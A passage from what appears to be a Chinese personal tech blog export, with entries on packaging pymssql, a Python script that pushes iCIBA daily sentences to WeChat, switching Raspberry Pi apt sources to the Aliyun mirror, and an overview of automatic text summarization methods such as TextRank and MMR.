<p>发现打包程序无法判断动态调用，<code>_mssql</code>是动态调用，也就是用的时候才会调用，不会一开始就调用。</p>
<p>所以看了一下网上的解决方案就需要导入下面的几个库</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> pymssql<br><span class="hljs-keyword">from</span> pymssql <span class="hljs-keyword">import</span> _mssql<br><span class="hljs-keyword">from</span> pymssql <span class="hljs-keyword">import</span> _pymssql<br><span class="hljs-keyword">import</span> uuid<br><span class="hljs-keyword">import</span> decimal<br>decimal.__version__<br>uuid.ctypes.__version__<br>_mssql.__version<br></code></pre></td></tr></table></figure>

<p>其实我看了一下，只需要导入前面的几个包就可以了，调用版本这个可以不用。</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>Python 推送信息到wechat</title>
    <url>/2018/08/03/python2wx/</url>
    <content><![CDATA[<p>前言<br>最近看到网上有定时推送文章到微信的文章，其实这个小功能我一直在做，包括定时爬取内容用邮件发送等等。<br>不过网上都是python2.7的版本。对于使用python3的小白可能用起来比较困惑，手动改了一个<code>python3</code>的版本。</br></p>
<p><img src="https://i.loli.net/2018/08/03/5b63dbfd294f5.png" alt="python2wechat"></p>
<a id="more"></a>
<p>#实现环境</br></p>
<ul>
<li>python3.6(conda)</li>
<li>数据源：爱词霸</li>
<li>调用地址：<a class="link"   href="http://open.iciba.com/dsapi/"  target="_blank" rel="noopener">http://open.iciba.com/dsapi/<i class="fas fa-external-link-alt"></i></a></li>
<li>请求方式：GET</li>
</ul>
<p>请求参数：</br></p>
<table>
<thead>
<tr>
<th align="left">参数</th>
<th align="right">必选</th>
<th align="center">类型</th>
<th>说明</th>
</tr>
</thead>
<tbody><tr>
<td align="left">date</td>
<td align="right">否</td>
<td align="center">string</td>
<td>格式为：2018-08-01；默认取当天</td>
</tr>
<tr>
<td align="left">type</td>
<td align="right">否</td>
<td align="center">string</td>
<td>可选值为last和next；以date日期为准的last返回前一天，next返回后一天。</td>
</tr>
<tr>
<td align="left">代码示例</td>
<td align="right"></td>
<td align="center"></td>
<td></td>
</tr>
<tr>
<td align="left"><figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-comment">#coding=utf-8</span><br><span class="hljs-keyword">import</span> json<br><span class="hljs-keyword">import</span> requests<br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_iciba</span><span class="hljs-params">()</span>:</span><br>    url = <span class="hljs-string">'http://open.iciba.com/dsapi/'</span><br>    request = requests.get(url)<br>    data = json.loads(request) <span class="hljs-comment">#将json转换为dict</span><br>    <span class="hljs-keyword">return</span> data<br>print(get_iciba())<br></code></pre></td></tr></table></figure></td>
<td align="right"></td>
<td align="center"></td>
<td></td>
</tr>
<tr>
<td align="left">返回类型：JSON (JSON字段解释：)</td>
<td align="right"></td>
<td align="center"></td>
<td></td>
</tr>
</tbody></table>
<table>
<thead>
<tr>
<th align="left">属性名</th>
<th align="right">属性值类型</th>
<th align="left">说明</th>
</tr>
</thead>
<tbody><tr>
<td align="left">sid</td>
<td align="right">string</td>
<td align="left">每日一句id</td>
</tr>
<tr>
<td align="left">tts</td>
<td align="right">string</td>
<td align="left">音频地址</td>
</tr>
<tr>
<td align="left">content</td>
<td align="right">string</td>
<td align="left">英文内容</td>
</tr>
<tr>
<td align="left">note</td>
<td align="right">string</td>
<td align="left">中文内容</td>
</tr>
<tr>
<td align="left">love</td>
<td align="right">string</td>
<td align="left">每日一句喜欢个数</td>
</tr>
<tr>
<td align="left">translation</td>
<td align="right">string</td>
<td align="left">词霸小编</td>
</tr>
<tr>
<td align="left">picture</td>
<td align="right">string</td>
<td align="left">图片地址</td>
</tr>
<tr>
<td align="left">picture2</td>
<td align="right">string</td>
<td align="left">大图片地址</td>
</tr>
<tr>
<td align="left">caption</td>
<td align="right">string</td>
<td align="left">标题</td>
</tr>
<tr>
<td align="left">dateline</td>
<td align="right">string</td>
<td align="left">时间</td>
</tr>
<tr>
<td align="left">s_pv</td>
<td align="right">string</td>
<td align="left">浏览数</td>
</tr>
<tr>
<td align="left">sp_pv</td>
<td align="right">string</td>
<td align="left">语音评测浏览数</td>
</tr>
<tr>
<td align="left">tags</td>
<td align="right">string</td>
<td align="left">相关标签</td>
</tr>
<tr>
<td align="left">fenxiang_img</td>
<td align="right">string</td>
<td align="left">合成图片</td>
</tr>
</tbody></table>
<h3 id="正常返回示例"><a href="#正常返回示例" class="headerlink" title="正常返回示例"></a>正常返回示例</h3><figure class="highlight html"><table><tr><td class="code"><pre><code class="hljs html">&#123;"sid":"3081","tts":"http:\/\/news.iciba.com\/admin\/tts\/2018-08-02-day.mp3","content":"I am just a sunflower, waiting for my only sunshine.","note":"我只是一株向日葵，期待着属于自己的那缕阳光。","love":"2154","translation":"投稿人的话：地球在转，人生再转，但我们对美好爱情的执着永远不会变。我们就像一株向日葵，期待着属于自己的那缕阳光。","picture":"http:\/\/cdn.iciba.com\/news\/word\/20180802.jpg","picture2":"http:\/\/cdn.iciba.com\/news\/word\/big_20180802b.jpg","caption":"词霸每日一句","dateline":"2018-08-02","s_pv":"0","sp_pv":"0","tags":[&#123;"id":null,"name":null&#125;],"fenxiang_img":"http:\/\/cdn.iciba.com\/web\/news\/longweibo\/imag\/2018-08-02.jpg"&#125;<br></code></pre></td></tr></table></figure>
<h2 id="登陆微信公众平台借口测试账号"><a href="#登陆微信公众平台借口测试账号" class="headerlink" title="登陆微信公众平台借口测试账号"></a>登陆微信公众平台借口测试账号</h2><p>微信公众号测试申请</br><br><a class="link"   href="https://mp.weixin.qq.com/debug/cgi-bin/sandbox?t=sandbox/login"  target="_blank" rel="noopener">https://mp.weixin.qq.com/debug/cgi-bin/sandbox?t=sandbox/login<i class="fas fa-external-link-alt"></i></a><br><img src="https://i.loli.net/2018/08/03/5b63dc94e4ff6.png" alt="avatar"></p>
<h4 id="扫描后手机端确认登陆"><a href="#扫描后手机端确认登陆" class="headerlink" title="扫描后手机端确认登陆"></a>扫描后手机端确认登陆</h4><p><img src="https://i.loli.net/2018/08/03/5b63dcae3b87e.png" alt="avatar"></p>
<h3 id="找到“新增测试模板”，添加模板消息"><a href="#找到“新增测试模板”，添加模板消息" class="headerlink" title="找到“新增测试模板”，添加模板消息"></a>找到“新增测试模板”，添加模板消息</h3><h3 id="填写模板标题“每日一句”（可根据需求自己随便填）"><a href="#填写模板标题“每日一句”（可根据需求自己随便填）" class="headerlink" title="填写模板标题“每日一句”（可根据需求自己随便填）"></a>填写模板标题“每日一句”（可根据需求自己随便填）</h3><blockquote>

</blockquote>



<p><img src="https://i.loli.net/2018/08/03/5b63dcc39a271.png" alt="avatar"></p>
<h3 id="提交后，记住改模版的id，一会用到。"><a href="#提交后，记住改模版的id，一会用到。" class="headerlink" title="提交后，记住改模版的id，一会用到。"></a>提交后，记住改模版的id，一会用到。</h3><p><img src="https://i.loli.net/2018/08/03/5b63dcd0a8cf4.png" alt="avatar"></p>
<h3 id="找到测试二维码，扫描后，右侧出现你的昵称和微信号，记录下微信号"><a href="#找到测试二维码，扫描后，右侧出现你的昵称和微信号，记录下微信号" class="headerlink" title="找到测试二维码，扫描后，右侧出现你的昵称和微信号，记录下微信号"></a>找到测试二维码，扫描后，右侧出现你的昵称和微信号，记录下微信号</h3><h2 id="python程序"><a href="#python程序" class="headerlink" title="python程序"></a>python程序</h2><figure class="highlight PYTHON"><table><tr><td class="code"><pre><code class="hljs PYTHON"><span class="hljs-comment">#!/usr/bin/python</span><br><span class="hljs-comment">#coding=utf-8</span><br><span class="hljs-keyword">import</span> json<br><span class="hljs-keyword">import</span> requests<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">iciba</span>:</span><br>    <span class="hljs-comment"># 初始化</span><br>    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span><span class="hljs-params">(self, wechat_config)</span>:</span><br>        self.appid = wechat_config[<span class="hljs-string">'appid'</span>]<br>        self.appsecret = wechat_config[<span class="hljs-string">'appsecret'</span>]<br>        self.template_id = wechat_config[<span class="hljs-string">'template_id'</span>]<br>        self.access_token = <span class="hljs-string">''</span><br>    <span class="hljs-comment"># 获取access_token</span><br>    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_access_token</span><span class="hljs-params">(self, appid, appsecret)</span>:</span><br>        url = <span class="hljs-string">'https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&amp;appid=%s&amp;secret=%s'</span> % (appid, appsecret)<br>        r = requests.get(url)<br>        response = r.content.decode()<br>        jdata = json.loads(response)<br>        access_token = jdata[<span class="hljs-string">'access_token'</span>]<br>        self.access_token = access_token<br>        <span class="hljs-keyword">return</span> self.access_token<br>    <span class="hljs-comment"># 发送消息</span><br>    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">send_msg</span><span class="hljs-params">(self, openid, template_id, iciba_everyday)</span>:</span><br>        msg = &#123;<br>            <span class="hljs-string">'touser'</span>: openid,<br>            <span class="hljs-string">'template_id'</span>: template_id,<br>            <span class="hljs-string">'url'</span>: iciba_everyday[<span class="hljs-string">'fenxiang_img'</span>],<br>            <span class="hljs-string">'data'</span>: &#123;<br>                <span class="hljs-string">'content'</span>: &#123;<br>                    <span class="hljs-string">'value'</span>: iciba_everyday[<span class="hljs-string">'content'</span>],<br>                    <span class="hljs-string">'color'</span>: <span class="hljs-string">'#0000CD'</span><br>                    &#125;,<br>                <span class="hljs-string">'note'</span>: &#123;<br>                    <span class="hljs-string">'value'</span>: iciba_everyday[<span class="hljs-string">'note'</span>],<br>                &#125;,<br>                <span class="hljs-string">'translation'</span>: &#123;<br>                    <span class="hljs-string">'value'</span>: iciba_everyday[<span class="hljs-string">'translation'</span>],<br>                &#125;<br>            &#125;<br>        &#125;<br>        jdata = json.dumps(msg)<br>        <span class="hljs-keyword">if</span> self.access_token == <span class="hljs-string">''</span>:<br>            self.get_access_token(self.appid, self.appsecret)<br>        access_token = self.access_token<br>        url = <span class="hljs-string">'https://api.weixin.qq.com/cgi-bin/message/template/send?access_token=%s'</span> % str(access_token)<br>        request = requests.post(url, data=jdata)<br>        <span class="hljs-comment">#response = urllib.request.urlopen(request)</span><br>        result = request.content.decode()<br>        <span class="hljs-keyword">return</span> json.loads(result)<br>    <span class="hljs-comment"># 获取爱词霸每日一句</span><br>    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_iciba_everyday</span><span class="hljs-params">(self)</span>:</span><br>        url = <span class="hljs-string">'http://open.iciba.com/dsapi/'</span><br>        request = requests.get(url)<br>        jdata = request.content.decode()<br>        data = json.loads(jdata)<br>        <span class="hljs-keyword">return</span> data<br>    <span class="hljs-comment"># 为设置的用户列表发送消息</span><br>    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">send_everyday_words</span><span class="hljs-params">(self, openids)</span>:</span><br>        everyday_words = self.get_iciba_everyday()<br>        <span class="hljs-keyword">for</span> openid <span class="hljs-keyword">in</span> openids:<br>            result = self.send_msg(openid, self.template_id, everyday_words)<br>            <span class="hljs-keyword">if</span> result[<span class="hljs-string">'errcode'</span>] == <span class="hljs-number">0</span>:<br>                print(<span class="hljs-string">' [INFO] send to %s is success'</span> % openid)<br>            <span class="hljs-keyword">else</span>:<br>                print(<span class="hljs-string">' [ERROR] send to %s is error'</span> % openid)<br>    <span class="hljs-comment"># 执行</span><br>    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">run</span><span class="hljs-params">(self, openids)</span>:</span><br>        self.send_everyday_words(openids)<br><span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:<br>    <span class="hljs-comment"># 微信配置</span><br>    wechat_config = &#123;<br>        <span class="hljs-string">'appid'</span>: <span class="hljs-string">'XXXXX'</span>, <span class="hljs-comment">#此处填写你的appid</span><br>        <span class="hljs-string">'appsecret'</span>: <span class="hljs-string">'XXXX'</span>, <span class="hljs-comment">#此处填写你的appsecret</span><br>        <span class="hljs-string">'template_id'</span>: <span class="hljs-string">'XXXXX'</span> <span class="hljs-comment">#此处填写你的模板消息ID</span><br>    &#125;<br>    <span class="hljs-comment"># 用户列表</span><br>    openids = [<br>        <span class="hljs-string">'XXXXXXX'</span>,<br>        <span class="hljs-string">'XXXXXXX'</span>,<br>        <span class="hljs-comment">#此处填写你的微信号</span><br>        <span class="hljs-comment">#'xxxx', #如果有多个用户也可以</span><br>    <span class="hljs-comment">#'xxxx',</span><br>    ]<br>    <span class="hljs-comment"># 执行</span><br>    icb = iciba(wechat_config)<br>    icb.run(openids)<br></code></pre></td></tr></table></figure>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>python,wechat,collect</tag>
      </tags>
  </entry>
  <entry>
    <title>raspbian-aliyun-resources</title>
    <url>/2021/01/14/raspbian-aliyun-resources/</url>
    <content><![CDATA[<p>树莓派更换阿里云源</p>
<p><code>sudo nano /etc/apt/sources.list</code></p>
<p><code>#将原有内容用#注释掉 deb http://mirrors.aliyun.com/raspbian/raspbian/ buster main contrib non-free rpi deb-src http://mirrors.aliyun.com/raspbian/raspbian/ buster main contrib non-free rpi</code></p>
<p><code>sudo apt-get update
sudo apt-get upgrade</code></p>
]]></content>
      <categories>
        <category>config</category>
        <category>raspberry</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Raspberry</tag>
      </tags>
  </entry>
  <entry>
    <title>Raspberry Os</title>
    <url>/2018/11/22/raspberry-os/</url>
    <content><![CDATA[<p><a class="link"   href="http://www.amatfan.com/pages/imgdown/"  target="_blank" rel="noopener">常用树莓派系统<i class="fas fa-external-link-alt"></i></a></p>
]]></content>
      <categories>
        <category>docs</category>
        <category>raspberry</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>python,raspberry,collect</tag>
      </tags>
  </entry>
  <entry>
    <title>python-summarization</title>
    <url>/2016/09/27/python-summarization/</url>
    <content><![CDATA[<p>自动摘要（Automatic Summarization）的方法主要有两种：Extraction和Abstraction。其中Extraction是抽取式自动文摘方法，通过提取文档中已存在的关键词，句子形成摘要；Abstraction是生成式自动文摘方法，通过建立抽象的语意表示，使用自然语言生成技术，形成摘要。由于自动摘要方法需要复杂的自然语言理解和生成技术支持，应用领域受限。，抽取式摘要成为现阶段主流，它也能在很大程度上满足人们对摘要的需求。</p>
<a id="more"></a>

<p>目前抽取式的主要方法：</p>
<ul>
<li><p>基于统计：统计词频，位置等信息，计算句子权值，再简选取权值高的句子作为文摘，特点：简单易用，但对词句的使用大多仅停留在表面信息。</p>
</li>
<li></li>
<li><p>基于图模型：构建拓扑结构图，对词句进行排序。例如，TextRank/LexRank</p>
</li>
<li></li>
<li><p>基于潜在语义：使用主题模型，挖掘词句隐藏信息。例如，采用LDA，HMM</p>
</li>
<li></li>
<li><p>基于线路规划：将摘要问题转为线路规划，求全局最优解。</p>
</li>
</ul>
<p>2007年，美国学者的论文<a class="link"   href="http://www.cs.cmu.edu/~nasmith/LS2/das-martins.07.pdf"  target="_blank" rel="noopener">《A Survey on Automatic Text Summarization》<i class="fas fa-external-link-alt"></i></a>（Dipanjan Das, Andre F.T. Martins, 2007）总结了目前的自动摘要算法。其中，很重要的一种就是词频统计。这种方法最早出自1958年的IBM公司科学家 H.P. Luhn的论文<a class="link"   href="http://www.di.ubi.pt/~jpaulo/competence/general/(1958)Luhn.pdf"  target="_blank" rel="noopener">《The Automatic Creation of Literature Abstracts》<i class="fas fa-external-link-alt"></i></a>。</p>
<p>Luhn博士认为，文章的信息都包含在句子中，有些句子包含的信息多，有些句子包含的信息少。”自动摘要”就是要找出那些包含信息最多的句子。句子的信息量用”关键词”来衡量。如果包含的关键词越多，就说明这个句子越重要。Luhn提出用”簇”（cluster）表示关键词的聚集。所谓”簇”就是包含多个关键词的句子片段。</p>
<p><img src="http://www.biaodianfu.com/wp-content/uploads/2016/09/cluster.png" alt="cluster"></p>
<p>上图就是Luhn原始论文的插图，被框起来的部分就是一个”簇”。只要关键词之间的距离小于”门槛值”，它们就被认为处于同一个簇之中。Luhn建议的门槛值是4或5。也就是说，如果两个关键词之间有5个以上的其他词，就可以把这两个关键词分在两个簇。下一步，对于每个簇，都计算它的重要性分值。</p>
<p><img src="http://www.biaodianfu.com/wp-content/uploads/2016/09/cluster-2.png" alt="cluster-2"></p>
<p>以上图为例，其中的簇一共有7个词，其中4个是关键词。因此，它的重要性分值等于 ( 4 x 4 ) / 7 = 2.3。</p>
<p>然后，找出包含分值最高的簇的句子（比如5句），把它们合在一起，就构成了这篇文章的自动摘要。具体实现可以参见 <a class="link"   href="http://www.amazon.com/Mining-Social-Web-Analyzing-Facebook/dp/1449388345"  target="_blank" rel="noopener">《Mining the Social Web: Analyzing Data from Facebook, Twitter, LinkedIn, and Other Social Media Sites》<i class="fas fa-external-link-alt"></i></a>（O’Reilly, 2011）一书的第8章，python代码见<a class="link"   href="https://github.com/ptwobrussell/Mining-the-Social-Web/blob/master/python_code/blogs_and_nlp__summarize.py"  target="_blank" rel="noopener">github<i class="fas fa-external-link-alt"></i></a>。</p>
<p>Luhn的这种算法后来被简化，不再区分”簇”，只考虑句子包含的关键词。下面就是一个例子（采用伪码表示），只考虑关键词首先出现的句子。</p>
<p>类似的算法已经被写成了工具，比如基于Java的<a class="link"   href="http://classifier4j.sourceforge.net/"  target="_blank" rel="noopener">Classifier4J<i class="fas fa-external-link-alt"></i></a>库的<a class="link"   href="http://classifier4j.sourceforge.net/subprojects/core/apidocs/net/sf/classifier4J/summariser/SimpleSummariser.html"  target="_blank" rel="noopener">SimpleSummariser<i class="fas fa-external-link-alt"></i></a>模块、基于C语言的<a class="link"   href="http://libots.sourceforge.net/"  target="_blank" rel="noopener">OTS<i class="fas fa-external-link-alt"></i></a>库、以及基于classifier4J的<a class="link"   href="http://nclassifier.sourceforge.net/"  target="_blank" rel="noopener">C#实现<i class="fas fa-external-link-alt"></i></a>和<a class="link"   href="https://groups.google.com/forum/?fromgroups#!topic/nltk-dev/qV9e5TsCBHg"  target="_blank" rel="noopener">python实现<i class="fas fa-external-link-alt"></i></a>。</p>
<p>参考文章：</p>
<ul>
<li><p><a class="link"   href="http://www.ruanyifeng.com/blog/2013/03/automatic_summarization.html"  target="_blank" rel="noopener">http://www.ruanyifeng.com/blog/2013/03/automatic_summarization.html<i class="fas fa-external-link-alt"></i></a></p>
</li>
<li></li>
<li><p><a class="link"   href="http://joshbohde.com/blog/document-summarization"  target="_blank" rel="noopener">http://joshbohde.com/blog/document-summarization<i class="fas fa-external-link-alt"></i></a></p>
</li>
</ul>
<h2 id="TextTeaser"><a href="#TextTeaser" class="headerlink" title="TextTeaser"></a>TextTeaser</h2><p><a class="link"   href="http://www.textteaser.com/"  target="_blank" rel="noopener">TextTeaser<i class="fas fa-external-link-alt"></i></a> 原本是为在线长文章（所谓 tl;dr：too long; didn’t read）自动生成摘要的服务，其原本的收费标准是每摘要 1000 篇文章付费 12 美元或每月 250 美元。巴尔宾称 TextTeaser 可以为任何使用罗马字母的文本进行摘要，而且比同类工具如 Cruxbot 和 Summly（在 2013 年 3 月被 雅虎斥资 3000 万美元收购）更准确。其创造者霍洛•巴尔宾（Jolo Balbin）表示，在“发现一些扩展问题，特别是 API 中的问题后”，他决定将 TextTeaser 代码开源。</p>
<p>TextTeaser开源的代码一共有三个class，TextTeaser,Parser,Summarizer。</p>
<ul>
<li><p>TextTeaser，程序入口类。给定待摘要的文本和文本题目，输出文本摘要，默认是原文中最重要的5句话。</p>
</li>
<li></li>
<li><p>Summarizer，生成摘要类。计算出每句话的分数，并按照得分做排序，然后按照原文中句子的顺序依次输出得分最高的5句话作为摘要。</p>
</li>
<li></li>
<li><p>Parser，文本解析类。对文本进行去除停用词、去除标点符号、分词、统计词频等一些预处理操作。</p>
</li>
</ul>
<p>其中打分模型分为四部分：</p>
<ul>
<li><p>句子长度，长度为20的句子为最理想的长度，依照距离这个长度来打分。</p>
</li>
<li></li>
<li><p>句子位置，根据句子在全文中的位置，给出分数。（巴尔宾认为一篇文章的第二句比第一句更重要，因为很多作家都习惯到第二句话引入关键点）备注：用段落效果会怎样？</p>
</li>
<li></li>
<li><p>文章标题与文章内容的关系，句子是否包含标题词，根据句子中包含标题词的多少来打分。</p>
</li>
<li></li>
<li><p>句子关键词打分，文本进行预处理之后，按照词频统计出排名前10的关键词，通过比较句子中包含关键词的情况，以及关键词分布的情况来打分（sbs，dbs两个函数）。</p>
</li>
</ul>
<p>开源版本：</p>
<ul>
<li><p>Scala版本：<a class="link"   href="https://github.com/MojoJolo/textteaser"  target="_blank" rel="noopener">https://github.com/MojoJolo/textteaser<i class="fas fa-external-link-alt"></i></a></p>
</li>
<li></li>
<li><p>Python版本：<a class="link"   href="https://github.com/DataTeaser/textteaser"  target="_blank" rel="noopener">https://github.com/DataTeaser/textteaser<i class="fas fa-external-link-alt"></i></a></p>
</li>
</ul>
<p>自己尝试这个调用Python版本。主要：不要使用pip install textteaser进行安装，该安装方式安装的是这个项目：</p>
<p><a class="link"   href="https://github.com/jgoettsch/py-textteaser，该项目并非算法实现，而是API实现。直接下载代码即可：https://github.com/DataTeaser/textteaser"  target="_blank" rel="noopener">https://github.com/jgoettsch/py-textteaser，该项目并非算法实现，而是API实现。直接下载代码即可：https://github.com/DataTeaser/textteaser<i class="fas fa-external-link-alt"></i></a></p>
<p>下载完成后在Windows下运营test.py会报错，报错信息如下：</p>
<table>
<thead>
<tr>
<th align="left">123456789101112</th>
<th align="left">Traceback (most recent call last): File “D:/textteaser/test.py”, line 12, in sentences = tt.summarize(title, text) File “D:\textteaser\textteaser__init<strong>.py”, line 13, in summarize result = self.summarizer.summarize(text, title, source, category) File “D:\textteaser\textteaser\summarizer.py”, line 11, in summarize sentences = self.parser.splitSentences(text) File “D:\textteaser\textteaser\parser.py”, line 62, in splitSentences tokenizer = nltk.data.load(‘file:’ + os.path.dirname(os.path.abspath(</strong>file__)) + ‘/trainer/english.pickle’) File “C:\Python27\lib\site-packages\nltk\data.py”, line 806, in load resource_val = pickle.load(opened_resource)ImportError: No module named copy_reg</th>
</tr>
</thead>
<tbody><tr>
<td align="left"></td>
<td align="left"></td>
</tr>
</tbody></table>
<p>针对报错信息，做如下修改：</p>
<p>1、将”D:\textteaser\textteaser\parser.py”第62行进行修改：</p>
<table>
<thead>
<tr>
<th align="left">12</th>
<th align="left">#tokenizer = nltk.data.load(‘file:’ + os.path.dirname(os.path.abspath(<strong>file</strong>)) + ‘/trainer/english.pickle’)tokenizer = nltk.data.load(‘file:’ + os.path.dirname(os.path.abspath(<strong>file</strong>)) + os.sep + ‘trainer’ + os.sep + ‘english.pickle’)</th>
</tr>
</thead>
<tbody><tr>
<td align="left"></td>
<td align="left"></td>
</tr>
</tbody></table>
<p>2、找到”\Lib\site-packages\nltk\data.py”第924行，将</p>
<table>
<thead>
<tr>
<th align="left">1</th>
<th align="left">return find(path_, [‘’]).open()</th>
</tr>
</thead>
<tbody><tr>
<td align="left"></td>
<td align="left"></td>
</tr>
</tbody></table>
<p>修改为：</p>
<table>
<thead>
<tr>
<th align="left">123456789</th>
<th align="left">file<em>path = find(path</em>, [‘’]) data = open(file_path, ‘rb’).read() newdata = data.replace(“\r\n”, “\n”) if newdata != data: f = open(file_path, “wb”) f.write(newdata) f.close() f = open(file_path, “rb”) return f</th>
</tr>
</thead>
<tbody><tr>
<td align="left"></td>
<td align="left"></td>
</tr>
</tbody></table>
<p>注意：TextTeaser目前只支持英文摘要。</p>
<h2 id="TextRank"><a href="#TextRank" class="headerlink" title="TextRank"></a>TextRank</h2><p>TextRank算法是一种用于文本的基于图的排序算法。其基本思想来源于谷歌的PageRank算法, 通过把文本分割成若干组成单元(单词、句子)并建立图模型, 利用投票机制对文本中的重要成分进行排序, 仅利用单篇文档本身的信息即可实现关键词提取、文摘。和 LDA、HMM 等模型不同, TextRank不需要事先对多篇文档进行学习训练, 因其简洁有效而得到广泛应用。</p>
<p>TextRank 一般模型可以表示为一个有向有权图 G =(V, E), 由点集合 V和边集合 E 组成, E 是V ×V的子集。图中任两点 Vi , Vj 之间边的权重为 wji , 对于一个给定的点 Vi, In(Vi) 为 指 向 该 点 的 点 集 合 , Out(Vi) 为点 Vi 指向的点集合。点 Vi 的得分定义如下:</p>
<p><img src="http://www.biaodianfu.com/wp-content/uploads/2016/09/TextRank.png" alt="TextRank"></p>
<p>其中, d 为阻尼系数, 取值范围为 0 到 1, 代表从图中某一特定点指向其他任意点的概率, 一般取值为 0.85。使用TextRank 算法计算图中各点的得分时, 需要给图中的点指定任意的初值, 并递归计算直到收敛, 即图中任意一点的误差率小于给定的极限值时就可以达到收敛, 一般该极限值取 0.0001。</p>
<p><strong>基于TextRank的关键词提取</strong></p>
<p>关键词抽取的任务就是从一段给定的文本中自动抽取出若干有意义的词语或词组。TextRank算法是利用局部词汇之间关系（共现窗口）对后续关键词进行排序，直接从文本本身抽取。其主要步骤如下：</p>
<ol>
<li>把给定的文本T按照完整句子进行分割，</li>
<li>对于每个句子，进行分词和词性标注处理，并过滤掉停用词，只保留指定词性的单词，如名词、动词、形容词，其中是保留后的候选关键词。</li>
<li>构建候选关键词图G = (V,E)，其中V为节点集，由2生成的候选关键词组成，然后采用共现关系（co-occurrence）构造任两点之间的边，两个节点之间存在边仅当它们对应的词汇在长度为K的窗口中共现，K表示窗口大小，即最多共现K个单词。</li>
<li>根据上面公式，迭代传播各节点的权重，直至收敛。</li>
<li>对节点权重进行倒序排序，从而得到最重要的T个单词，作为候选关键词。</li>
<li>由5得到最重要的T个单词，在原始文本中进行标记，若形成相邻词组，则组合成多词关键词。例如，文本中有句子“Matlab code for plotting ambiguity function”，如果“Matlab”和“code”均属于候选关键词，则组合成“Matlab code”加入关键词序列。</li>
</ol>
<p><strong>基于TextRank的自动文摘</strong></p>
<p>基于TextRank的自动文摘属于自动摘录，通过选取文本中重要度较高的句子形成文摘，其主要步骤如下：</p>
<ol>
<li>预处理：将输入的文本或文本集的内容分割成句子得，构建图G =（V,E），其中V为句子集，对句子进行分词、去除停止词，得，其中是保留后的候选关键词。</li>
<li>句子相似度计算：构建图G中的边集E，基于句子间的内容覆盖率，给定两个句子，采用如下公式进行计算：<img src="http://www.biaodianfu.com/wp-content/uploads/2016/09/simikarity-1.png" alt="simikarity-1">)若两个句子之间的相似度大于给定的阈值，就认为这两个句子语义相关并将它们连接起来，即边的权值：<img src="http://www.biaodianfu.com/wp-content/uploads/2016/09/similarity-2.png" alt="similarity-2"></li>
<li>句子权重计算：根据公式，迭代传播权重计算各句子的得分；</li>
<li>抽取文摘句：将3得到的句子得分进行倒序排序，抽取重要度最高的T个句子作为候选文摘句。</li>
<li>形成文摘：根据字数或句子数要求，从候选文摘句中抽取句子组成文摘。</li>
</ol>
<p>参考资料：</p>
<ul>
<li><p><a class="link"   href="https://github.com/letiantian/TextRank4ZH"  target="_blank" rel="noopener">https://github.com/letiantian/TextRank4ZH<i class="fas fa-external-link-alt"></i></a></p>
</li>
<li></li>
<li><p><a class="link"   href="https://github.com/chenbjin/ASExtractor"  target="_blank" rel="noopener">https://github.com/chenbjin/ASExtractor<i class="fas fa-external-link-alt"></i></a></p>
</li>
</ul>
<h2 id="玻森自动摘要"><a href="#玻森自动摘要" class="headerlink" title="玻森自动摘要"></a>玻森自动摘要</h2><p>玻森采用的是最大边缘相关模型（Maximal Marginal Relevance）的一个变种。MMR是无监督学习模型，它的提出是为了提高信息检索（Information Retrieval）系统的表现。例如搜索引擎就是目前大家最常用的信息检索系统。大家可能经常会碰到，对于我们输入的一个关键词，搜索引擎通常会给出重复的或者内容太接近的检索的情况。为了避免这个现象，搜索引擎可以通过MMR来增加内容的多样性，给出多方面考虑的检索结果，以此来提高表现。这样的思想是可以被借鉴用来做摘要的，因为它是符合摘要的基本要求的，即权衡相关性和多样性。不难理解，摘要结果与原文的相关性越高，它就接近全文中心意思。而考虑多样性则使得摘要内容更加的全面。非常的直观和简单是该模型的一个优点。</p>
<p>相比于其他无监督学习方法，如TextRank（TR）， PageRank（PR）等，MMR是考虑了信息的多样性来避免重复结果。TR，PR是基于图（Graph）的学习方法，每个句子看成点，每两个点之间都有一条带权重（Weighted）的无向边。边的权重隐式定义了不同句子间的游走概率。这些方法把做摘要的问题看成随机游走来找出稳态分布（Stable Distribution）下的高概率（重要）的句子集，但缺点之一便是无法避免选出来的句子相互之间的相似度极高的现象。而MMR方法可以较好地解决句子选择多样性的问题。具体地说，在MMR模型中，同时将相关性和多样性进行衡量。因此，可以方便的调节相关性和多样性的权重来满足偏向“需要相似的内容”或者偏向“需要不同方面的内容”的要求。对于相关性和多样性的具体评估，玻森是通过定义句子之间的语义相似度实现。句子相似度越高，则相关性越高而多样性越低。</p>
<p>自动摘要的核心便是要从原文句子中选一个句子集合，使得该集合在相关性与多样性的评测标准下，得分最高。数学表达式如下：</p>
<p><img src="http://www.biaodianfu.com/wp-content/uploads/2016/09/mmr.png" alt="mmr"></p>
<p>需要注意的是，D，Q，R，S都为句子集，其中，D表示当前文章，Q表示当前中心意思，R表示当前非摘要，S表示当前摘要。可以看出，在给定句子相似度的情况下，上述MMR的求解为一个标准的最优化问题。但是，上述无监督学习的MMR所得摘要准确性较低，因为全文的结构信息难以被建模，如段落首句应当有更高的权重等。为了提高新闻自动摘要的表现，玻森在模型中加入了全文结构特征，将MMR改为有监督学习方法。从而模型便可以通过训练从“标准摘要”中学习特征以提高准确性。</p>
